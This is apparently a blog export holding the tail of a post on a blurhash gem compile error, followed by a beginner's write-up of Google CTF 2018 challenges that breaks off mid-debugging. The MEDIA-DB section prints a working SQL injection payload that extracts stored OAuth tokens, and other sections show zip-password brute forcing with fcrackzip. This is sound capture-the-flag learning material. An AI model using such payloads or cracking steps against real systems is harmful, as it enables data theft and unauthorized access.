16.04. This is due to the difference in the gcc versions installed via the package management systems.\nCentOS 7 installs 4.8.5 20150623 (Red Hat 4.8.5-36), while Ubuntu installs 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10).\nFrom gcc version 5 onwards, the default std option was changed to gnu11. This is an extension of c11, and since c11 is newer than c99, it includes the aforementioned specification. Therefore, it is no longer necessary to specify -std=c99.\nhttps://www.gnu.org/software/gcc/gcc-5/changes.html\nThe default mode for C is now -std=gnu11 instead of -std=gnu89.\nAside cflags can be specified when running gem install.\n$ gem install blurhash -v 0.1.2 -- --with-cflags=\u0026#34;-std=c99\u0026#34; Building native extensions with: \u0026#39;--with-cflags=-std=c99\u0026#39; This could take a while... Successfully installed blurhash-0.1.2 Parsing documentation for blurhash-0.1.2 Installing ri documentation for blurhash-0.1.2 1 gem installed Bump blurhash from 0.1.2 to 0.1.3 by Gargron · Pull Request #10700 · tootsuite/mastodon\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFix compile flags · Gargron/blurhash@97b8b37\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/bug-in-blurhash-0_1_2/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"what-happened\"\u003eWhat happened\u003c/h2\u003e\n\u003cp\u003eIn Mastodon v2.8.1, a bug occurred where \u003ccode\u003egem install blurhash\u003c/code\u003e would fail in certain environments. This issue has been fixed in v2.8.2.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://mstdn.jp/@yi0713/102008223252331858\"\u003ehttps://mstdn.jp/@yi0713/102008223252331858\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCentOS勢、masterに追加された blurhash というgemのインストールでコケると思います。原因は gcc が 4.8.5 と古いためのようです\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://mastodon.social/@Mastodon/102044104623035256\"\u003ehttps://mastodon.social/@Mastodon/102044104623035256\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSome people have reported problems installing Mastodon v2.8.1 due to gem compilation.\u003cbr\u003e\nThis and a few other small bugs have been fixed in #Mastodon v2.8.2\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"reproducing-the-bug\"\u003eReproducing the bug\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ cat /etc/redhat-release\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCentOS Linux release 7.6.1810 \u003cspan class=\"o\"\u003e(\u003c/span\u003eCore\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ gcc -v\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUsing built-in specs.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eCOLLECT_GCC\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003egcc\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eCOLLECT_LTO_WRAPPER\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/libexec/gcc/x86_64-redhat-linux/4.8.5/lto-wrapper\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTarget: x86_64-redhat-linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eConfigured with: ../configure --prefix\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr --mandir\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/share/man --infodir\u003cspan class=\"o\"\u003e=\u003c/span\u003e/usr/share/info --with-bugurl\u003cspan class=\"o\"\u003e=\u003c/span\u003ehttp://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads\u003cspan class=\"o\"\u003e=\u003c/span\u003eposix --enable-checking\u003cspan class=\"o\"\u003e=\u003c/span\u003erelease --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-linker-hash-style\u003cspan class=\"o\"\u003e=\u003c/span\u003egnu --enable-languages\u003cspan class=\"o\"\u003e=\u003c/span\u003ec,c++,objc,obj-c++,java,fortran,ada,go,lto --enable-plugin --enable-initfini-array --disable-libgcj --with-isl\u003cspan class=\"o\"\u003e=\u003c/span\u003e/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/isl-install --with-cloog\u003cspan class=\"o\"\u003e=\u003c/span\u003e/builddir/build/BUILD/gcc-4.8.5-20150702/obj-x86_64-redhat-linux/cloog-install --enable-gnu-indirect-function --with-tune\u003cspan class=\"o\"\u003e=\u003c/span\u003egeneric --with-arch_32\u003cspan class=\"o\"\u003e=\u003c/span\u003ex86-64 --build\u003cspan class=\"o\"\u003e=\u003c/span\u003ex86_64-redhat-linux\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eThread model: posix\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc version 4.8.5 \u003cspan class=\"m\"\u003e20150623\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eRed Hat 4.8.5-36\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eGCC\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ gem install blurhash -v 0.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eBuilding native extensions.  This could take a \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eERROR:  Error installing blurhash:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        ERROR: Failed to build gem native extension.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    /usr/bin/ruby extconf.rb\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecreating Makefile\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake \u003cspan class=\"s2\"\u003e\u0026#34;DESTDIR=\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc -I. -I/usr/include -I/usr/include/ruby/backward -I/usr/include -I.   -fPIC -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e -fexceptions -fstack-protector-strong --param\u003cspan class=\"o\"\u003e=\u003c/span\u003essp-buffer-size\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e -grecord-gcc-switches -mtune\u003cspan class=\"o\"\u003e=\u003c/span\u003egeneric -fPIC -m64 -o encode.o -c encode.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blurHashForPixels\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:28:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e y \u0026lt; yComponents\u003cspan class=\"p\"\u003e;\u003c/span\u003e y++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:28:2: note: use option -std\u003cspan class=\"o\"\u003e=\u003c/span\u003ec99 or -std\u003cspan class=\"o\"\u003e=\u003c/span\u003egnu99 to compile your code\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:29:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e x \u0026lt; xComponents\u003cspan class=\"p\"\u003e;\u003c/span\u003e x++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:48:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; acCount * 3\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:62:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; acCount\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;multiplyBasisFunction\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:75:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e y \u0026lt; height\u003cspan class=\"p\"\u003e;\u003c/span\u003e y++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:76:3: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e x \u0026lt; width\u003cspan class=\"p\"\u003e;\u003c/span\u003e x++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e   ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c: In \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;encode_int\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:129:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length - 1\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e divisor *\u003cspan class=\"o\"\u003e=\u003c/span\u003e 83\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:131:10: error: redefinition of \u003cspan class=\"s1\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:129:10: note: previous definition of \u003cspan class=\"s1\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e was here\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length - 1\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e divisor *\u003cspan class=\"o\"\u003e=\u003c/span\u003e 83\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eencode.c:131:2: error: \u003cspan class=\"s1\"\u003e\u0026#39;for\u0026#39;\u003c/span\u003e loop initial declarations are only allowed in C99 mode\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"o\"\u003e(\u003c/span\u003eint \u003cspan class=\"nv\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e 0\u003cspan class=\"p\"\u003e;\u003c/span\u003e i \u0026lt; length\u003cspan class=\"p\"\u003e;\u003c/span\u003e i++\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake: *** \u003cspan class=\"o\"\u003e[\u003c/span\u003eencode.o\u003cspan class=\"o\"\u003e]\u003c/span\u003e Error \u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGem files will remain installed in /usr/local/share/gems/gems/blurhash-0.1.2 \u003cspan class=\"k\"\u003efor\u003c/span\u003e inspection.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eResults logged to /usr/local/share/gems/gems/blurhash-0.1.2/ext/blurhash/gem_make.out\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"cause\"\u003eCause\u003c/h2\u003e\n\u003cp\u003eAs shown in the error during reproduction, this is because \u003ccode\u003eint i\u003c/code\u003e is declared within the for loop. This specification was introduced in C99, and requires \u003ccode\u003e-std=c99\u003c/code\u003e to be specified during compilation.\u003c/p\u003e","title":"blurhash v0.1.2 compilation error investigation"},{"content":" This article was machine-translated from the Japanese version.\nThis article is for day 19 of the CTF Advent Calendar 2018. Day 18 was mage_1868\u0026rsquo;s MortAl mage aGEnts write-up.\nAs a CTF beginner, I\u0026rsquo;ve been working through the Google CTF 2018 Beginners Quest, and I\u0026rsquo;m putting together the write-ups I\u0026rsquo;ve been writing in my Diary. I haven\u0026rsquo;t finished them all yet, so I\u0026rsquo;ll add the rest as soon as I solve them.\nI was planning to write about the tools I used as well, but since it would get too long, I\u0026rsquo;ll save that for another time. If you have any comments, please reach out on Twitter or Mastodon.\nMisc LETTER A single PDF file is provided. You get the flag by searching with a viewer.\nOCR IS COOL! A single PNG file, which is a capture of a Gmail message body, is provided.\nBased on the text, it looks like a ROT N cipher, so you decrypt VMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk} in the body. Since the flag is in the CTF{...} format, you can tell it\u0026rsquo;s ROT 7.\nI used CyberChef for the decryption.\nSECURITY BY OBSCURITY A single file is provided. The file command shows it\u0026rsquo;s a zip, so you extract it.\nAfter extracting to a certain point, the extension changes, so you keep extracting by changing the commands for zip, xz, bz2, and gz until finally, a password-protected zip appears.\nCheck the password using brute force, extract it, and get the flag. I used fcrackzip here.\nExtraction script import os import filetype import zipfile import subprocess import gzip filepath = \u0026#39;password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p\u0026#39; while True: extension = filetype.guess(filepath).extension print(\u0026#39;%s: %s\u0026#39; % (extension, filepath)) if extension == \u0026#39;zip\u0026#39;: with zipfile.ZipFile(filepath) as f: f.extractall() elif extension == \u0026#39;xz\u0026#39;: subprocess.call([\u0026#39;7z\u0026#39;, \u0026#39;e\u0026#39;, filepath]) elif extension == \u0026#39;bz2\u0026#39;: subprocess.call([\u0026#39;bzip2\u0026#39;, \u0026#39;-d\u0026#39;, filepath]) os.rename(filepath + \u0026#39;.out\u0026#39;, \u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1])) elif extension == \u0026#39;gz\u0026#39;: with gzip.open(filepath) as f: with open(\u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1]), \u0026#39;wb\u0026#39;) as nf: nf.write(f.read()) filepath = \u0026#39;.\u0026#39;.join(filepath.split(\u0026#39;.\u0026#39;)[0:-1]) brute force $ fcrackzip -l 4 -u -b password.x PASSWORD FOUND!!!!: pw == asdf $ unzip password.x Archive: password.x [password.x] password.txt password: extracting: password.txt $ cat password.txt CTF{DUMMY_FLAG} FLOPPY $ file foo.ico foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors An .ico file is provided. Since there\u0026rsquo;s nothing unusual about the image itself, I checked the contents with a hex editor.\nThe magic number PK indicating a zip file is present in the latter half of the data, followed by strings like driver.txt that look like a zip archive. Therefore, I saved all data from PK onwards as a new file and unzipped it.\n$ unzip foo.zip Archive: foo.zip inflating: driver.txt inflating: www.com The contents of driver.txt will be the flag.\nFLOPPY2 Since I couldn\u0026rsquo;t solve it on my own, I referred to Google CTF: Beginner Quest: FLOPPY2 (Debugging DOS Programs).\nThe file in FLOPPY where the flag was written said In case of emergency, run www.com, and as you can tell from the word run, this file is executable. (This is the part I didn\u0026rsquo;t get.)\n$ cat driver.txt This is the driver for the Aluminum-Key Hardware password storage device. CTF{DUMMY} In case of emergency, run www.com COM files1 are executable in MS-DOS, and here we will emulate them using DOSBox2. On Debian-based systems, you can install it via apt.\nTo assist with the debugging mentioned later, install the DOSBox debugger3 as well.\nPlace www.com and the DEBUG.COM included with the debugger into a suitable directory. From here on, this directory will be referred to as workdir.\nLaunch dosbox and mount workdir as C: using mount c ./workdir. Move to the mounted drive with c:.\nRun DEBUG.COM WWW.COM to open WWW.COM in the debugger. In the debugger, execute WWW.COM with g, then dump the execution results with d. Obtain the flag.\nAside Since www.com contains control characters within the text, the flag won\u0026rsquo;t be displayed if you just run it normally.4\nEven without using a debugger, you can obtain the flag by saving the output to a file and opening it with a text or binary editor.\nMEDIA-DB A python script for manipulating sqlite3 is provided.\nWhen the script is launched, the flag is registered in the oauth_token column of the oauth_tokens table.\nwith open(\u0026#39;oauth_token\u0026#39;) as fd: flag = fd.read() conn = sqlite3.connect(\u0026#39;:memory:\u0026#39;) c = conn.cursor() c.execute(\u0026#34;CREATE TABLE oauth_tokens (oauth_token text)\u0026#34;) c.execute(\u0026#34;CREATE TABLE media (artist text, song text)\u0026#34;) c.execute(\u0026#34;INSERT INTO oauth_tokens VALUES (\u0026#39;{}\u0026#39;)\u0026#34;.format(flag)) Several functions can be executed after that, but the insert function doesn\u0026rsquo;t escape single quotes.\nif choice == \u0026#39;1\u0026#39;: my_print(\u0026#34;artist name?\u0026#34;) artist = raw_input().replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#34;\u0026#34;) my_print(\u0026#34;song name?\u0026#34;) song = raw_input().replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#34;\u0026#34;) c.execute(\u0026#34;\u0026#34;\u0026#34;INSERT INTO media VALUES (\u0026#34;{}\u0026#34;, \u0026#34;{}\u0026#34;)\u0026#34;\u0026#34;\u0026#34;.format(artist, song)) There is also a feature that picks a random artist from the media table and uses the result directly in the where clause.\nelif choice == \u0026#39;4\u0026#39;: artist = random.choice(list(c.execute(\u0026#34;SELECT DISTINCT artist FROM media\u0026#34;)))[0] my_print(\u0026#34;choosing songs from random artist: {}\u0026#34;.format(artist)) print_playlist(\u0026#34;SELECT artist, song FROM media WHERE artist = \u0026#39;{}\u0026#39;\u0026#34;.format(artist)) Therefore, by inserting a string from which the oauth_token value can be retrieved as the artist name, you can obtain the flag by using that string through the random function.\n% nc media-db.ctfcompetition.com 1337 === Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit \u0026gt; 1 artist name? 1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- song name? a 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit \u0026gt; 4 choosing songs from random artist: 1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- == new playlist == 1: \u0026#34;a\u0026#34; by \u0026#34;1\u0026#39; OR \u0026#39;1\u0026#39; = \u0026#39;1\u0026#39; UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- \u0026#34; 2: \u0026#34;CTF{DUMMY_FLAG} \u0026#34; by \u0026#34;CTF{DUMMY_FLAG} \u0026#34; Reversing FIRMWARE I was given ext4 filesystem data. After mounting it, I found a file named .mediapc_backdoor_password.gz. Since it looked incredibly suspicious, I checked the contents and got the flag.\nI discovered this file while running a check with testdisk.\n$ mkdir /mnt/challenge $ mount challenge.ext4 /mnt/challenge $ ls -la /mnt/challenge total 40 drwxr-xr-x. 22 root root 1024 Jun 22 09:54 . drwxr-xr-x. 3 root root 23 Nov 11 04:56 .. -rw-r--r--. 1 root root 40 Jun 22 09:54 .mediapc_backdoor_password.gz drwxr-xr-x. 2 root root 3072 Jun 22 09:54 bin drwxr-xr-x. 2 root root 1024 Jun 22 09:54 boot drwxr-xr-x. 4 root root 1024 Jun 22 09:54 dev drwxr-xr-x. 52 root root 4096 Jun 22 09:54 etc drwxr-xr-x. 2 root root 1024 Jun 22 09:54 home drwxr-xr-x. 12 root root 1024 Jun 22 09:54 lib drwxr-xr-x. 2 root root 1024 Jun 22 09:54 lib64 drwx------. 2 root root 12288 Jun 22 09:51 lost+found drwxr-xr-x. 2 root root 1024 Jun 22 09:54 media drwxr-xr-x. 2 root root 1024 Jun 22 09:54 mnt drwxr-xr-x. 2 root root 1024 Jun 22 09:54 opt drwxr-xr-x. 2 root root 1024 Jun 22 09:54 proc drwx------. 2 root root 1024 Jun 22 09:54 root drwxr-xr-x. 4 root root 1024 Jun 22 09:54 run drwxr-xr-x. 2 root root 3072 Jun 22 09:54 sbin drwxr-xr-x. 2 root root 1024 Jun 22 09:54 srv drwxr-xr-x. 2 root root 1024 Jun 22 09:54 sys drwxr-xr-x. 2 root root 1024 Jun 22 09:54 tmp drwxr-xr-x. 10 root root 1024 Jun 22 09:54 usr drwxr-xr-x. 9 root root 1024 Jun 22 09:54 var $ gzip -d /mnt/challenge/.mediapc_backdoor_password.gz $ cat /mnt/challenge/.mediapc_backdoor_password CTF{DUMMY_FLAG} GATEKEEPER You are given an ELF file that asks for a username and password.\n$ ./gatekeeper /===========================================================================\\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ [ERROR] Login information missing Usage: ./gatekeeper \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; Check RSI at the strcmp execution point in gdb-peda.\nThe first time it\u0026rsquo;s 0n3_W4rM. Since this is the username, set it as the first argument and run it again.\n[----------------------------------registers-----------------------------------] RAX: 0x7fffffffe7f8 --\u0026gt; 0x4242004141414141 (\u0026#39;AAAAA\u0026#39;) RBX: 0x0 RCX: 0xb48 (\u0026#39;H\\x0b\u0026#39;) RDX: 0x2e (\u0026#39;.\u0026#39;) RSI: 